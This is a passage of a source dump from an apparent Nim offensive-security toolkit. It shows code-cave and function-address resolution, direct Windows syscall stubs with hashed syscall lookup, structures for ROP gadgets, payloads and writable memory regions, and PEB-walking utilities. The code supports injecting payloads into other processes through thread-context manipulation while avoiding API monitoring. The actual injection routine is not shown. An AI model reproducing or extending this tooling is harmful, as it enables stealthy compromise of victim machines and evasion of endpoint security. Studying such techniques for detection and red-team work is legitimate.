LocalModuleBaseAddress == 0: 180 | raise newException(OSError, "Module couldn't be loaded in local process") 181 | result = GetCodeCaveRVA(LocalModuleBaseAddress, SectionLabel) 182 | if LoadLibraryUsed: FreeLibrary(LocalModuleBaseAddress) 183 | 184 | proc ResolveModuleBaseAddress*(ProcessHandle: HANDLE, ModuleLabel: string, Functions: array[18, HGEntry]): int {.raises: [OSError, ValueError].} = 185 | # ASLR on NTDLL only takes effect on system restart 186 | if ModuleLabel.contains "ntdll": 187 | var 188 | HMod : HMODULE 189 | HMod = ModuleLabel.GetLocalModule 190 | if HMod == 0: 191 | raise newException(OSError, "Failed to get NTDLL base address...") 192 | result = HMod 193 | else: 194 | result = GetRemoteModule(ProcessHandle, ModuleLabel, Functions) 195 | 196 | proc ResolveCodeCaveAddress*(ProcessHandle: HANDLE, ModuleLabel, SectionLabel: var string, Functions: array[18, HGEntry]): int {.raises: [OSError, ValueError].} = 197 | var 198 | ModuleBaseAddress : int 199 | LocalModuleBaseAddress : HMODULE 200 | LoadLibraryUsed : bool 201 | if ModuleLabel.contains("ntdll"): 202 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 203 | if LocalModuleBaseAddress == 0: 204 | raise newException(OSError, "Module couldn't be loaded in local process") 205 | result = LocalModuleBaseAddress +% LocalModuleBaseAddress.GetCodeCaveRVA(SectionLabel) 206 | else: 207 | ModuleBaseAddress = GetRemoteModule(ProcessHandle, ModuleLabel, Functions) 208 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 209 | if LocalModuleBaseAddress == 0: 210 | raise newException(OSError, "Module couldn't be loaded in local process") 211 | result = ModuleBaseAddress +% LocalModuleBaseAddress.GetCodeCaveRVA(SectionLabel) 212 | if LoadLibraryUsed: FreeLibrary(LocalModuleBaseAddress) 213 | 214 | proc ResolveFunction*(ProcessHandle: HANDLE, ModuleLabel, FuncName: var string, Functions: array[18, HGEntry]): int {.raises: [OSError, ValueError].} = 215 | var 216 | ModuleBaseAddress : int 217 | LocalModuleBaseAddress : HMODULE 218 | FuncRVA : int 219 | LoadLibraryUsed : bool 220 | if ModuleLabel.contains("ntdll"): 221 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 222 | if LocalModuleBaseAddress == 0: 223 | raise newException(OSError, "Module couldn't be loaded in local process") 224 | FuncRVA = GetFuncRVA(LocalModuleBaseAddress, FuncName) 225 | result = LocalModuleBaseAddress +% FuncRVA 226 | else: 227 | ModuleBaseAddress = GetRemoteModule(ProcessHandle, ModuleLabel, Functions) 228 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 229 | if LocalModuleBaseAddress == 0: 230 | raise newException(OSError, "Module couldn't be loaded in local process") 231 | FuncRVA = GetFuncRVA(LocalModuleBaseAddress, FuncName) 232 | result = ModuleBaseAddress +% FuncRVA 233 | if LoadLibraryUsed: FreeLibrary(LocalModuleBaseAddress) -------------------------------------------------------------------------------- /Modules/syscalls.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import typedefs 7 | 8 | var 9 | syscallv* : WORD 10 | 11 | {.passC:"-masm=intel".} 12 | {.push asmNoStackFrame.} 13 | proc ntAllocateVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: ptr PVOID, ZeroBits: ULONG, RegionSize: var PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS = 14 | asm """ 15 | mov r10, rcx 16 | mov eax, `syscallv` 17 | syscall 18 | ret 19 | """ 20 | 21 | proc ntFreeVirtualMemory*(ProcessHandle: HANDLE, BaseAddress: ptr PVOID, RegionSize: var PSIZE_T, FreeType: ULONG): NTSTATUS = 22 | asm """ 23 | mov r10, rcx 24 | mov eax, `syscallv` 25 | syscall 26 | ret 27 | """ 28 | 29 | proc ntGetContextThread*(ThreadHandle : HANDLE, Context : PCONTEXT) : NTSTATUS = 30 | asm """ 31 | mov r10, rcx 32 | mov eax, `syscallv` 33 | syscall 34 | ret 35 | """ 36 | 37 | proc ntQuerySystemInformation*(SystemInformationClass: SYSTEM_INFORMATION_CLASS, SystemInformation: PVOID, SystemInformationLength: ULONG, 38 | ReturnLength: PULONG): NTSTATUS = 39 | asm """ 40 | mov r10, rcx 41 | mov eax, `syscallv` 42 | syscall 43 | ret 44 | """ 45 | 46 | proc ntQueryInformationProcess*(ProcessHandle : HANDLE, ProcessInformationClass : PROCESS_INFORMATION_CLASS, ProcessInformation : PVOID, 47 | ProcessInformationLength : ULONG, ReturnLength : PULONG) : NTSTATUS = 48 | asm """ 49 | mov r10, rcx 50 | mov eax, `syscallv` 51 | syscall 52 | ret 53 | """ 54 | 55 | proc ntQueryInformationThread*(ThreadHandle: HANDLE, ThreadInformatonClass: THREAD_INFORMATION_CLASS, ThreadInformation: PVOID, 56 | ThreadInformationLength: ULONG, ReturnLength: PULONG): NTSTATUS = 57 | asm """ 58 | mov r10, rcx 59 | mov eax, `syscallv` 60 | syscall 61 | ret 62 | """ 63 | 64 | proc ntQueryVirtualMemory*(ProcessHandle : HANDLE, BaseAddress : PVOID, MemoryInformationClass : MEMORY_INFORMATION_CLASS, MemoryInformation : PVOID, 65 | MemoryInformationLength : ULONG, ReturnLength : PULONG) : NTSTATUS = 66 | asm """ 67 | mov r10, rcx 68 | mov eax, `syscallv` 69 | syscall 70 | ret 71 | """ 72 | 73 | proc ntOpenProcess*(ProcessHandle: PHANDLE, AccessMask : ACCESS_MASK, ObjAttributes : POBJECT_ATTRIBUTES, ClientId : PCLIENT_ID) : NTSTATUS = 74 | asm """ 75 | mov r10, rcx 76 | mov eax, `syscallv` 77 | syscall 78 | ret 79 | """ 80 | 81 | proc ntOpenThread*(ThreadHandle: PHANDLE, AccessMask : ACCESS_MASK, ObjAttributes : POBJECT_ATTRIBUTES, ClientId : PCLIENT_ID) : NTSTATUS = 82 | asm """ 83 | mov r10, rcx 84 | mov eax, `syscallv` 85 | syscall 86 | ret 87 | """ 88 | 89 | proc ntSetContextThread*(ThreadHandle : HANDLE, Context : PCONTEXT): NTSTATUS = 90 | asm """ 91 | mov r10, rcx 92 | mov eax, `syscallv` 93 | syscall 94 | ret 95 | """ 96 | 97 | proc ntSuspendProcess*(ProcessHandle : HANDLE) : NTSTATUS = 98 | asm """ 99 | mov r10, rcx 100 | mov eax, `syscallv` 101 | syscall 102 | ret 103 | """ 104 | 105 | proc ntSuspendThread*(ThreadHandle: HANDLE, PreviousSuspendCount : PULONG) : NTSTATUS = 106 | asm """ 107 | mov r10, rcx 108 | mov eax, `syscallv` 109 | syscall 110 | ret 111 | """ 112 | 113 | proc ntReadVirtualMemory*(ProcessHandle : HANDLE, BaseAddress : PVOID, Buffer : PVOID, BufferSize : SIZE_T, NumberOfBytesRead : PSIZE_T) : NTSTATUS = 114 | asm """ 115 | mov r10, rcx 116 | mov eax, `syscallv` 117 | syscall 118 | ret 119 | """ 120 | 121 | proc ntResumeThread*(ThreadHandle: HANDLE, PreviousSuspendCount : PULONG) : NTSTATUS = 122 | asm """ 123 | mov r10, rcx 124 | mov eax, `syscallv` 125 | syscall 126 | ret 127 | """ 128 | 129 | proc ntResumeProcess*(ProcessHandle: HANDLE) : NTSTATUS = 130 | asm """ 131 | mov r10, rcx 132 | mov eax, `syscallv` 133 | syscall 134 | ret 135 | """ 136 | 137 | proc ntUserGetThreadState*(Routine : DWORD) : HWND = 138 | asm """ 139 | mov r10, rcx 140 | mov eax, `syscallv` 141 | syscall 142 | ret 143 | """ 144 | 145 | proc ntUserPostMessage*(hWnd : HWND, Msg : UINT, wParam : WPARAM, lParam : LPARAM) : BOOL = 146 | asm """ 147 | mov r10, rcx 148 | mov eax, `syscallv` 149 | syscall 150 | ret 151 | """ 152 | 153 | {.pop.} -------------------------------------------------------------------------------- /Modules/typedefs.nim: -------------------------------------------------------------------------------- 1 | 2 | #[ 3 | Author: zimawhit3 4 | Github: https://github.com/zimawhit3 5 | License: BSD 3-Clause 6 | 7 | References: 8 | - https://doxygen.reactos.org/d3/d71/struct__ASSEMBLY__STORAGE__MAP__ENTRY.html 9 | - https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/peb/index.htm 10 | - https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/pebteb/teb/index.htm 11 | - https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntpsapi_x/peb_ldr_data.htm 12 | - https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/ldr_data_table_entry.htm 13 | 14 | ]# 15 | import winim/inc/windef except PLDR_DATA_TABLE_ENTRY, PPEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, 16 | PPEB, PEB, TEB, PTEB, PROCESS_BASIC_INFORMATION, PPROCESS_BASIC_INFORMATION, PEB_LDR_DATA 17 | import winim/[winstr] 18 | from winim/inc/winbase import LoadLibrary, FreeLibrary 19 | 20 | export windef except PLDR_DATA_TABLE_ENTRY, PPEB_LDR_DATA, LDR_DATA_TABLE_ENTRY, PPEB, PEB, TEB, PTEB, PROCESS_BASIC_INFORMATION, 21 | PPROCESS_BASIC_INFORMATION, PEB_LDR_DATA 22 | export winstr, LoadLibrary, FreeLibrary 23 | 24 | type 25 | HGEntry* = object 26 | Address* : int 27 | Hash* : uint64 28 | Syscall* : WORD 29 | Filled* : bool 30 | 31 | Register* {.pure.} = enum 32 | RIP = "RIP" 33 | RSP = "RSP" 34 | RBP = "RBP" 35 | RAX = "RAX" 36 | RBX = "RBX" 37 | RCX = "RCX" 38 | RDX = "RDX" 39 | R8 = "R8" 40 | R9 = "R9" 41 | R10 = "R10" 42 | R11 = "R11" 43 | R12 = "R12" 44 | R13 = "R13" 45 | R14 = "R14" 46 | R15 = "R15" 47 | RDI = "RDI" 48 | RSI = "RSI" 49 | REL = "REL" 50 | 51 | GadgetType* {.pure.} = enum 52 | 53 | # Memory Types 54 | LoadImmediate 55 | Load 56 | Store 57 | 58 | # Arithmetic Types 59 | Add 60 | AddImmediate 61 | Subtract 62 | Negate 63 | 64 | # Logic Types 65 | And 66 | AndImmediate 67 | Or 68 | OrImmediate 69 | Xor 70 | XorImmediate 71 | Complement 72 | 73 | # Branch Types 74 | Unconditional 75 | Conditional 76 | 77 | # Function Call 78 | FunctionCall 79 | 80 | # Special 81 | Sink 82 | MainLoad 83 | MainStore 84 | 85 | Gadget* = ref object 86 | Address* : int 87 | BytePattern* : seq[byte] 88 | Name* : string 89 | Type* : GadgetType 90 | ModuleName* : string 91 | ModuleHandle* : HMODULE 92 | DestinationAddress* : ptr int 93 | DestinationRegister* : Register 94 | SourceAddress* : ptr int 95 | SourceRegister* : Register 96 | Volatile* : bool 97 | StackAdjust* : int 98 | StackLoads* : int8 99 | NumberOfArgs* : int8 100 | 101 | MemoryWrite* = object 102 | WriteWhat* : int 103 | WriteWhere* : int 104 | 105 | Payload* = ref object 106 | Label* : string 107 | Bytes* : seq[byte] 108 | Size* : int 109 | StoreLocation* : RWMemory 110 | StoreOffset* : int 111 | 112 | RWMemory* = ref object 113 | Label* : string 114 | WriteSequence* : seq[MemoryWrite] 115 | BaseAddress* : int 116 | CurrentAddress* : int 117 | Size* : int 118 | Padding* : int 119 | 120 | WindowObject* = object 121 | ThreadID* : int32 122 | WindowHandle* : HWND 123 | PWindowObject* = ptr WindowObject 124 | 125 | MEMORY_INFORMATION_CLASS* {.pure.} = enum 126 | BasicInformation 127 | 128 | PROCESS_INFORMATION_CLASS* {.pure.} = enum 129 | ProcessBasicInformation 130 | ProcessQuotaLimits 131 | ProcessIoCounters 132 | ProcessVmCounters 133 | ProcessTimes 134 | ProcessBasePriority 135 | ProcessRaisePriority 136 | ProcessDebugPort 137 | ProcessExceptionPort 138 | ProcessAccessToken 139 | ProcessLdtInformation 140 | ProcessLdtSize 141 | ProcessDefaultHardErrorMode 142 | ProcessIoPortHandlers 143 | ProcessPooledUsageAndLimits 144 | ProcessWorkingSetWatch 145 | ProcessUserModeIOPL 146 | ProcessEnableAlignmentFaultFixup 147 | ProcessPriorityClass 148 | ProcessWx86Information 149 | ProcessHandleCount 150 | ProcessAffinityMask 151 | ProcessPriorityBoost 152 | MaxProcessInfoClass 153 | 154 | THREAD_BASIC_INFORMATION* {.pure.} = object 155 | ExitStatus* : NTSTATUS 156 | TebBaseAddress* : PTEB 157 | ClientID* : CLIENT_ID 158 | AffinityMask* : KAFFINITY 159 | Priority* : KPRIORITY 160 | BasePriority* : KPRIORITY 161 | PTHREAD_BASIC_INFORMATION* = ptr THREAD_BASIC_INFORMATION 162 | 163 | THREAD_INFORMATION_CLASS* {.pure.} = enum 164 | ThreadBasicInformation 165 | ThreadTimes 166 | ThreadPriority 167 | ThreadBasePriority 168 | ThreadAffinityMask 169 | ThreadImpersonationToken 170 | ThreadDescriptorTableEntry 171 | ThreadEnableAlignmentFaultFixup 172 | ThreadEventPair 173 | ThreadQuerySetWin32StartAddress 174 | ThreadZeroTlsCell 175 | ThreadPerformanceCount 176 | ThreadAmILastThread 177 | ThreadIdealProcessor 178 | ThreadPriorityBoost 179 | ThreadSetTlsArrayAddress 180 | ThreadIsIoPending 181 | ThreadHideFromDebugger 182 | 183 | ASSEMBLY_STORAGE_MAP {.pure.} = object 184 | Flags* : ULONG 185 | DosPath* : UNICODE_STRING 186 | Handle* : HANDLE 187 | PASSEMBLY_STORAGE_MAP* = ptr ASSEMBLY_STORAGE_MAP 188 | 189 | PROCESS_BASIC_INFORMATION* {.pure.} = object 190 | ExitStatus* : NTSTATUS 191 | PebBaseAddress* : PPEB 192 | AffinityMask* : PVOID 193 | BasePriority* : PVOID 194 | UniqueProcessId* : ULONG_PTR 195 | InheritedFromUniqueProcessId* : ULONG_PTR 196 | PPROCESS_BASIC_INFORMATION* = ptr PROCESS_BASIC_INFORMATION 197 | 198 | LDR_DLL_LOAD_REASON* {.pure.} = enum 199 | LoadReasonUnknown = -1 200 | LoadReasonStaticDependency = 0 201 | LoadReasonStaticForwarderDependency = 1 202 | LoadReasonDynamicForwarderDependency = 2 203 | LoadReasonDelayloadDependency = 3 204 | LoadReasonDynamicLoad = 4 205 | LoadReasonAsImageLoad = 5 206 | LoadReasonAsDataLoad = 6 207 | LoadReasonEnclavePrimary = 7 208 | LoadReasonEnclaveDependency = 8 209 | 210 | RTL_BALANCED_NODE_STRUCT1* {.pure.} = object 211 | Left* : PRTL_BALANCED_NODE 212 | Right* : PRTL_BALANCED_NODE 213 | 214 | RTL_BALANCED_NODE_UNION1* {.pure, union.} = object 215 | Children* : array[2, PRTL_BALANCED_NODE] 216 | Struct1* : RTL_BALANCED_NODE_STRUCT1 217 | 218 | RTL_BALANCED_NODE_UNION2* {.pure, union.} = object 219 | Red* {.bitsize:1.} : UCHAR 220 | Balance* {.bitsize:2.} : UCHAR 221 | ParentValue* : ULONG_PTR 222 | 223 | RTL_BALANCED_NODE* {.pure.} = object 224 | Union1* : RTL_BALANCED_NODE_UNION1 225 | Union2* : RTL_BALANCED_NODE_UNION2 226 | PRTL_BALANCED_NODE* = ptr RTL_BALANCED_NODE 227 | 228 | LDR_DATA_TABLE_ENTRY_UNION_ONE* {.pure, union.} = object 229 | InInitializationOrderLinks* : LIST_ENTRY 230 | InProgressLinks* : LIST_ENTRY 231 | PLDR_DATA_TABLE_ENTRY_UNION_ONE* = ptr LDR_DATA_TABLE_ENTRY_UNION_ONE 232 | 233 | LDR_DATA_TABLE_ENTRY_STRUCT_ONE* {.pure.} = object 234 | PackagedBinary* {.bitsize:1.} : ULONG 235 | MarkedForRemoval* {.bitsize:1.} : ULONG 236 | ImageDll* {.bitsize:1.} : ULONG 237 | LoadNotificationSent* {.bitsize:1.} : ULONG 238 | TelemetryEntryProcessed* {.bitsize:1.} : ULONG 239 | ProcessStaticImport* {.bitsize:1.} : ULONG 240 | InLegacyLists* {.bitsize:1.} : ULONG 241 | InIndexes* {.bitsize:1.} : ULONG 242 | ShimDll* {.bitsize:1.} : ULONG 243 | InExceptionTable* {.bitsize:1.} : ULONG 244 | ReservedFlags1* {.bitsize:2.} : ULONG 245 | LoadInProgress* {.bitsize:1.} : ULONG 246 | LoadConfigProcessed* {.bitsize:1.} : ULONG 247 | EntryProcessed* {.bitsize:1.} : ULONG 248 | ProtectDelayLoad* {.bitsize:1.} : ULONG 249 | ReservedFlags3* {.bitsize:2.} : ULONG 250 | DontCallForThreads* {.bitsize:1.} : ULONG 251 | ProcessAttachCalled* {.bitsize:1.} : ULONG 252 | ProcessAttachFailed* {.bitsize:1.} : ULONG 253 | CorDeferredValidate* {.bitsize:1.} : ULONG 254 | CorImage* {.bitsize:1.} : ULONG 255 | DontRelocate {.bitsize:1.} : ULONG 256 | CorILOnly* {.bitsize:1.} : ULONG 257 | ChpeImage* {.bitsize:1.} : ULONG 258 | ReservedFlags5* {.bitsize:2.} : ULONG 259 | Redirected* {.bitsize:1.} : ULONG 260 | ReservedFlags6* {.bitsize:2.} : ULONG 261 | CompatDatabaseProcessed* {.bitsize:1.} : ULONG 262 | 263 | LDR_DATA_TABLE_ENTRY_UNION_TWO* {.pure, union.} = object 264 | FlagGroup* : array[4, UCHAR] 265 | Flags* : ULONG 266 | Struct* : LDR_DATA_TABLE_ENTRY_STRUCT_ONE 267 | PLDR_DATA_TABLE_ENTRY_UNION_TWO* = ptr LDR_DATA_TABLE_ENTRY_UNION_TWO 268 | 269 | LDR_DATA_TABLE_ENTRY* {.pure.} = object 270 | InLoadOrderLinks* : LIST_ENTRY 271 | InMemoryOrderLinks* : LIST_ENTRY 272 | Union_1* : LDR_DATA_TABLE_ENTRY_UNION_ONE 273 | DLLBase* : PVOID 274 | EntryPoint* : PVOID 275 | SizeOfImage* : ULONG 276 | FullDllName* : UNICODE_STRING 277 | BaseDllName* : UNICODE_STRING 278 | Union_2* : LDR_DATA_TABLE_ENTRY_UNION_TWO 279 | ObsoleteLoadCount : USHORT 280 | TlsIndex* : USHORT 281 | HashLinks* : LIST_ENTRY 282 | TimeDateStamp* : ULONG 283 | EntryPointActivationContext* : PVOID 284 | Lock* : PVOID 285 | DdgagNode* : PVOID # PLDR_DDAG_NODE 286 | NodeModuleLink* : LIST_ENTRY 287 | LoadContext* : PVOID # PLDRP_LOAD_CONTEXT 288 | ParentDllBase : PVOID 289 | SwitchBackContext* : PVOID 290 | BaseAddressIndexNode* : RTL_BALANCED_NODE 291 | MappingInfoIndexNode* : RTL_BALANCED_NODE 292 | OriginalBase* : ULONG_PTR 293 | LoadTime* : LARGE_INTEGER 294 | BaseNameHashValue* : ULONG 295 | LoadReason* : LDR_DLL_LOAD_REASON 296 | ImplicitPathOptions* : ULONG 297 | ReferenceCount* : ULONG 298 | DependentLoadFlags* : ULONG 299 | SigningLevel* : UCHAR 300 | PLDR_DATA_TABLE_ENTRY* = ptr LDR_DATA_TABLE_ENTRY 301 | 302 | PEB_LDR_DATA* {.pure.} = object 303 | Length* : ULONG 304 | Initialized* : BOOLEAN 305 | SsHandle* : PVOID 306 | InLoadOrderModuleList* : LIST_ENTRY 307 | InMemoryOrderModuleList* : LIST_ENTRY 308 | InInitializationOrderModuleList* : LIST_ENTRY 309 | EntryInProgress* : PVOID 310 | ShutdownInProgress* : BOOLEAN 311 | ShutdownThreadId* : HANDLE 312 | PPEB_LDR_DATA* = ptr PEB_LDR_DATA 313 | 314 | PEB* {.pure.} = object 315 | InheritedAddressSpace* : BOOLEAN 316 | ReadImageFileExecOptions* : BOOLEAN 317 | BeingDebugged* : BOOLEAN 318 | PebUnion1* : UCHAR 319 | Padding0* : array[4, UCHAR] 320 | Mutant* : HANDLE 321 | ImageBaseAddress* : PVOID 322 | Ldr* : PPEB_LDR_DATA 323 | ProcessParameters* : PRTL_USER_PROCESS_PARAMETERS 324 | SubSystemData* : PVOID 325 | ProcessHeap* : HANDLE 326 | FastPebLock* : PVOID # PRTL_CRITICAL_SECTION 327 | AtlThunkSListPtr* : PVOID 328 | IFEOKey* : PVOID 329 | PebUnion2* : ULONG 330 | Padding1* : array[4, UCHAR] 331 | KernelCallBackTable* : ptr PVOID 332 | SystemReserved* : ULONG 333 | AltThunkSListPtr32* : ULONG 334 | ApiSetMap* : PVOID 335 | TlsExpansionCounter* : ULONG 336 | Padding2* : array[4, UCHAR] 337 | TlsBitmap* : PVOID 338 | TlsBitmapBits* : array[2, ULONG] 339 | ReadOnlyShareMemoryBase* : PVOID 340 | SharedData* : PVOID 341 | ReadOnlyStaticServerData* : ptr PVOID 342 | AnsiCodePageData* : PVOID 343 | OemCodePageData* : PVOID 344 | UnicodeCaseTableData* : PVOID 345 | NumberOfProcessors* : ULONG 346 | NtGlobalFlag* : ULONG 347 | CriticalSectionTimeout* : LARGE_INTEGER 348 | HeapSegmentReserve* : ULONG_PTR 349 | HeapSegmentCommit* : ULONG_PTR 350 | HeapDeCommitTotalFreeThreshold* : ULONG_PTR 351 | HeapDeCommitFreeBlockThreshold* : ULONG_PTR 352 | NumberOfHeaps* : ULONG 353 | MaximumNumberOfHeaps* : ULONG 354 | ProcessHeaps* : ptr PVOID 355 | GdiSharedHandleTable* : PVOID 356 | ProcessStarterHelper* : PVOID 357 | GdiDCAttributeList* : ULONG 358 | Padding3* : array[4, UCHAR] 359 | LoaderLock* : PVOID # PRTL_CRITICAL_SECTION 360 | OSMajorVersion* : ULONG 361 | OSMinorVersion* : ULONG 362 | OSBuildNumber* : USHORT 363 | OSCSDVersion* : USHORT 364 | OSPlatformId* : ULONG 365 | ImageSubsystem* : ULONG 366 | ImageSubsystemMajorVersion* : ULONG 367 | ImageSubsystemMinorVersion* : ULONG 368 | Padding4 : array[4, UCHAR] 369 | ActiveProcessAffinityMask* : PVOID # KAFFINITY 370 | GdiHandleBuffer : array[0x3c, ULONG] 371 | PostProcessInitRoutine* : VOID 372 | TlsExpansionBitmap* : PVOID 373 | TlsExpansionBitmapBits* : array[0x20, ULONG] 374 | SessionId* : ULONG 375 | Padding5* : array[4, UCHAR] 376 | AppCompatFlags* : ULARGE_INTEGER 377 | AppCompatFlagsUser* : ULARGE_INTEGER 378 | ShimData* : PVOID 379 | AppCompatInfo* : PVOID 380 | CSDVersion* : UNICODE_STRING 381 | ActivationContextData* : PVOID # PACTIVATION_CONTEXT_DATA 382 | ProcessAssemblyStorageMap* : PVOID # PASSEMBLY_STORAGE_MAP 383 | SystemDefaultActivationContextData* : PVOID # PACTIVATION_CONTEXT_DATA 384 | SystemAssemblyStorageMap* : PVOID # PASSEMBLY_STORAGE_MAP 385 | MinimumStackCommit* : ULONG_PTR 386 | Sparepointers* : array[4, PVOID] 387 | SpareUlongs* : array[5, ULONG] 388 | WerRegistrationData* : PVOID 389 | WerShipAssertPtr* : PVOID 390 | Unused* : PVOID 391 | ImageHeaderHash* : PVOID 392 | TracingFlags* : ULONG 393 | CsrServerReadOnlySharedMemoryBase* : ULONGLONG 394 | TppWorkerpListLock* : ULONG 395 | TppWorkerpList* : LIST_ENTRY 396 | WaitOnAddressHashTable* : array[0x80, PVOID] 397 | TelemtryCoverageHeader* : PVOID 398 | CloudFileFlags* : ULONG 399 | CloudFileDiagFlags* : ULONG 400 | PlaceholderCompatabilityMode* : CHAR 401 | PlaceholderCompatabilityModeReserved* : array[7, CHAR] 402 | LeapSecondData* : PVOID 403 | LeapSecondFlags* : ULONG 404 | NtGlobalFlag2* : ULONG 405 | PPEB* = ptr PEB 406 | 407 | TEB* {.pure.} = object 408 | NtTib* : NT_TIB 409 | EnvironmentPointer* : PVOID 410 | ClientId* : CLIENT_ID 411 | ActiveRpcHandle* : PVOID 412 | ThreadLocalStoragePointer* : PVOID 413 | ProcessEnvironmentBlock* : PEB 414 | LastErrorValue* : ULONG 415 | CountOfOwnedCriticalSections* : ULONG 416 | CsrClientThread* : PVOID 417 | Win32ThreadInfo* : PVOID 418 | User32Reserved* : array[0x1A, ULONG] 419 | UserReserved* : array[5, ULONG] 420 | WOW32Reserved* : PVOID 421 | CurrentLocale* : ULONG 422 | FpSoftwareStatusRegister* : ULONG 423 | ReservedForDebuggerInstrumentation* : array[0x10, PVOID] 424 | PTEB* = ptr TEB 425 | -------------------------------------------------------------------------------- /Modules/utility.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import json, macros 7 | 8 | from typedefs import PPEB, PVOID, BYTE, PBYTE, LARGE_INTEGER, HGEntry, WORD, LIST_ENTRY, PLIST_ENTRY, 9 | PLDR_DATA_TABLE_ENTRY, LDR_DATA_TABLE_ENTRY 10 | 11 | template `~`*(Call: string): uint64 = 12 | ## used to hash our syscall strings at compile time 13 | Call.djb2_hash 14 | 15 | template `->`*[T](p: T; x: untyped): int = 16 | cast[int](p) + p.offsetOf(x) 17 | 18 | func `-->`*(address: int, offset : SomeInteger): BYTE {.inline.} = 19 | result = cast[PBYTE](address +% offset)[] 20 | 21 | func LargeIntToInt64*(Value: LARGE_INTEGER) : int64 = 22 | result = Value.QuadPart.int64 23 | 24 | func alignByteBoundary*(ByteSequence: var seq[Byte]) = 25 | ## Aligns Byte Sequence to an 8 byte boundary with nop opcodes 26 | let 27 | PadByte : byte = 0x90 28 | while ByteSequence.len() mod 8 != 0: 29 | ByteSequence.add(PadByte) 30 | 31 | func readHexChar*(c: char): byte {.raises: [ValueError], inline.} = 32 | case c 33 | of '0'..'9': result = byte(ord(c) - ord('0')) 34 | of 'a'..'f': result = byte(ord(c) - ord('a') + 10) 35 | of 'A'..'F': result = byte(ord(c) - ord('A') + 10) 36 | else: 37 | raise newException(ValueError, $c & " is not a hexademical character") 38 | 39 | iterator next0xPrefix(nodeStr: string): byte = 40 | var 41 | index : int = 0 42 | while index < nodeStr.len(): 43 | if nodeStr[index] == '0' and nodeStr[index+1] in {'x', 'X'}: 44 | yield (nodeStr[index+2].readHexChar() shl 4 or nodeStr[index+3].readHexChar()) 45 | index += 5 46 | continue 47 | inc index 48 | 49 | func removeNullChars*(s: var string) = 50 | var 51 | index : int = 0 52 | for ch in s: 53 | if ord(ch) == 0: 54 | break 55 | inc index 56 | s.setLen(index) 57 | 58 | proc gadgetNodes*(Node : JsonNode): iterator(): JsonNode = 59 | if Node.kind != JArray: 60 | raise newException(JsonKindError, "Incorrect Node kind " & $Node.kind) 61 | result = iterator(): JsonNode {.closure.} = 62 | for gnode in Node.elems: 63 | yield gnode 64 | 65 | proc argNodes*(Node: JsonNode): iterator(): JsonNode = 66 | if Node.kind != JArray: 67 | raise newException(JsonKindError, "Incorrect Node kind " & $Node.kind) 68 | result = iterator(): JsonNode {.closure.} = 69 | for outernode in Node.elems: 70 | if outernode.kind != JArray: 71 | raise newException(JsonKindError, "Incorrect Node kind " & $outernode.kind) 72 | for innernode in outernode.elems: 73 | yield innernode 74 | 75 | proc getSeqByte*(param1: JsonNode): seq[byte] {.raises: [ValueError] .} = 76 | if param1 == nil: 77 | return 78 | var 79 | resSeq = newSeq[Byte]() 80 | jsonStr: string 81 | 82 | if param1.kind == JString: 83 | jsonStr = param1.getStr() 84 | for byteVal in jsonStr.next0xPrefix(): 85 | resSeq.add(byteVal) 86 | result = resSeq 87 | elif param1.kind == JArray: 88 | for node in param1.items(): 89 | jsonStr = node.getStr() 90 | for byteVal in jsonStr.next0xPrefix(): 91 | resSeq.add(byteVal) 92 | result = resSeq 93 | else: 94 | raise newException(ValueError, "Incorrect JsonNode type.") 95 | 96 | func ToModule*(pCurrentFlink: LIST_ENTRY or PLIST_ENTRY): PLDR_DATA_TABLE_ENTRY = 97 | result = cast[PLDR_DATA_TABLE_ENTRY](cast[int](pCurrentFlink) -% 0x10) 98 | 99 | func ToBuffer*(pCurrentModule: PLDR_DATA_TABLE_ENTRY or LDR_DATA_TABLE_ENTRY): string = 100 | result = $pCurrentModule.FullDllName.Buffer 101 | 102 | func getSyscallWord*(t: array[18, HGEntry], HashCmp: uint64): WORD {.inline.} = 103 | result = 0 104 | for Entry in t.items(): 105 | if Entry.Hash == HashCmp: 106 | result = Entry.Syscall 107 | return 108 | 109 | proc djb2_hash*(pFuncName: string): uint64 = 110 | result = 0xDEADC0DEu # SET ME 111 | for c in pFuncName: 112 | result = ((result shl 0x05) + result) + cast[uint](ord(c)) 113 | 114 | proc green*(text: string, outfile: File = stdout) = 115 | outfile.write("\e[32m", text, "\e[0m\n") 116 | 117 | proc yellow*(text: string, outfile: File = stdout) = 118 | outfile.write("\e[33m", text, "\e[0m\n") 119 | 120 | proc blue*(text: string, outfile: File = stdout) = 121 | outfile.write("\e[34m", text, "\e[0m\n") 122 | 123 | proc red*(text: string, outfile: File = stdout) = 124 | outfile.write("\e[31m", text, "\e[0m\n") 125 | 126 | proc magenta*(text: string, outfile: File = stdout) = 127 | outfile.write("\e[35m", text, "\e[0m\n") 128 | 129 | {.passC:"-masm=intel".} 130 | func GetPEBAsm64*(): PPEB {.asmNoStackFrame.} = 131 | asm """ 132 | mov rax, qword ptr gs:[0x60] 133 | leave 134 | ret 135 | """ 136 | -------------------------------------------------------------------------------- /Modules/winapi.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import winim/[utils, winstr] 7 | import utility, strformat, strutils, os 8 | from winim/inc/winuser import SetLastErrorEx, EnumWindows, WNDENUMPROC, GetWindowThreadProcessId 9 | 10 | when not defined(zima): 11 | from winim/inc/winuser import GetWindowTextLength, GetWindowText, IsWindowVisible 12 | 13 | include syscalls 14 | 15 | iterator processes*(buffer: LPVOID): PSYSTEM_PROCESS_INFORMATION = 16 | var 17 | SystemInfo : 